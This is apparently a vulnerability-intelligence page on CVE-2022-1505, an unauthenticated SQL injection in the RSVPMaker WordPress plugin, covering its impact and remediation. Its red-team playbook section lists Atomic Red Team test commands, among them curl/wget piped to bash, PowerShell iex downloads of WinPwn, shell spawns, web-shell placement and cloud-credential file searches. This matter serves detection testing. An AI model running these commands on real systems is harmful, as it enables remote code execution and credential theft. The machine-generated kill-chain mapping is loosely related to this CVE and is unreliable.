CVE-2022-1505
Overview
This vulnerability is an unauthenticated SQL Injection in the RSVPMaker WordPress plugin caused by improper sanitization of user-supplied input. The root cause is the absence of SQL escaping and parameterization in the database queries within the rsvpmaker-api-endpoints.php file. This flaw affects the API endpoint handling user input in versions up to and including 9.2.6 of the plugin.
Vulnerability Description
The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to missing SQL escaping and parameterization on user supplied data passed to a SQL query in the rsvpmaker-api-endpoints.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to and including 9.2.6.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL commands, enabling theft of sensitive information from the WordPress database. No authentication or user interaction is required, and the attack can be performed over the network. This can result in full confidentiality, integrity, and availability compromise of the affected system’s data, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H).
Solution
Users of the RSVPMaker WordPress plugin should upgrade to versions later than 9.2.6 where the vulnerability is patched. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/6837b91d-b3ba-435a-965b-fa18d9b9b9c8) provides detailed patch information and change logs addressing this issue. Applying the vendor’s update is the recommended remediation to ensure proper SQL escaping and parameterization are enforced in the rsvpmaker-api-endpoints.php component.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The RSVPMaker plugin for WordPress is susceptible to a critical vulnerability stemming from unauthenticated SQL Injection. This issue arises due to inadequate SQL escaping and parameterization of user-supplied data within the rsvpmaker-api-endpoints.php file. When a web application fails to properly sanitize input data before incorporating it into SQL queries, it opens the door for attackers to manipulate these queries. In this case, the vulnerability allows an attacker to craft malicious input that can be executed directly against the database, leading to unauthorized access to sensitive information. The absence of necessary security measures such as prepared statements or input validation exacerbates the risk, making it easier for attackers to exploit this flaw.
Attack vectors for this vulnerability are particularly concerning, as they do not require authentication. This means that any individual with knowledge of the vulnerability can launch an attack without needing valid credentials. An attacker could exploit this weakness by sending specially crafted HTTP requests to the affected endpoints, injecting SQL commands that could retrieve, modify, or delete data from the database. For instance, an attacker could extract user information, including email addresses, passwords, and other personal data stored in the database. Moreover, the potential for data exfiltration is significant, as attackers could leverage this access to gain insights into the user base or even pivot to further attacks within the network.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on the RSVPMaker plugin for event management and communication. The exposure of sensitive data can lead to severe business risks, including reputational damage, loss of customer trust, and potential legal ramifications stemming from data breaches. Organizations may face regulatory scrutiny, especially if personal data is compromised, leading to financial penalties and increased liability. Additionally, the exploitation of this vulnerability could serve as a foothold for attackers to conduct further malicious activities, such as lateral movement within the network or deployment of ransomware.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the RSVPMaker plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Employing web application firewalls (WAFs) can also help filter out malicious requests before they reach the application. Furthermore, conducting regular security audits and penetration testing can identify potential weaknesses in the application, allowing for proactive remediation. It is also advisable to implement strict input validation and output encoding practices to safeguard against SQL injection attacks. Training developers on secure coding practices can further reduce the likelihood of similar vulnerabilities in the future.
In conclusion, the SQL Injection vulnerability present in the RSVPMaker plugin poses a significant threat to WordPress sites utilizing this tool. The ease of exploitation, coupled with the potential for severe consequences, underscores the importance of maintaining robust security practices. Organizations must prioritize the timely application of security patches, adopt comprehensive detection and mitigation strategies, and foster a culture of security awareness to protect against such vulnerabilities effectively. By doing so, they can safeguard their data and maintain the trust of their users in an increasingly hostile digital landscape.
The CVSS score adjustment from 7.5 to 9.8 for CVE-2022-1505 reflects a reassessment of the vulnerability’s impact and exploitability, underscoring its critical nature. This change is based on refined analysis that confirms the ease with which unauthenticated attackers can leverage the SQL injection flaw to exfiltrate sensitive database information without requiring valid credentials. Although CSURFACE threat intelligence has not detected a significant increase in active exploitation or new proof-of-concept exploits, the elevated severity rating signals a heightened risk posture for organizations using the RSVPMaker plugin. Our telemetry indicates that while exploitation attempts remain stable, the potential consequences of a successful attack—such as data compromise and site integrity loss—are severe enough to warrant urgent attention. This recalibration of risk emphasizes the necessity for defenders to prioritize vulnerability management and monitoring efforts, as the window for effective mitigation narrows with the critical classification now firmly established.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Carrcommunications | Rsvpmaker | All |
cpe:2.3:a:carrcommunications:rsvpmaker:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-1505 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/6837b91d-b3ba-435a-965b-fa18d9b9b9c8?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2715095%40rsvpmaker&new=2715095%40rsvpmaker&sfp_email=&sfph_mail= |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1505 |